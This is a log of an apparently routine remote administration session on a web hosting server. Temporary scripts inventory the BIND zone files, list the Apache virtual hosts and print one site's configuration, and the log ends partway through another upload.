PUT: /tmp/pkp429355
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:23:33:
runuser -l bind -s /bin/bash -c '/tmp/pkp429355; rm /tmp/pkp429355'
2026-01-03 19:23:33:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:23:37: Establishing a connection
2026-01-03 19:23:37:
PUT: /tmp/pkp568747
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:23:37:
chmod 755 /tmp/pkp568747; /tmp/pkp568747; rm /tmp/pkp568747
2026-01-03 19:23:37:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:23:37:
PUT: /tmp/pkp686268
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/christadelphian_www_video.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:23:37:
chmod 755 /tmp/pkp686268; /tmp/pkp686268; rm /tmp/pkp686268
2026-01-03 19:23:38:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphian_www_video.conf 1246
<VirtualHost *:80>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName christadelphian.video
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ef56788a9be5d522516b6c274e285339.crt
DocumentRoot /var/www/christadelphian_www
<Directory /var/www/christadelphian_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/christadelphian/www_secure_access.log combined
ErrorLog /var/log/apache2/christadelphian/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:23:38:
PUT: /tmp/pkp701930
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
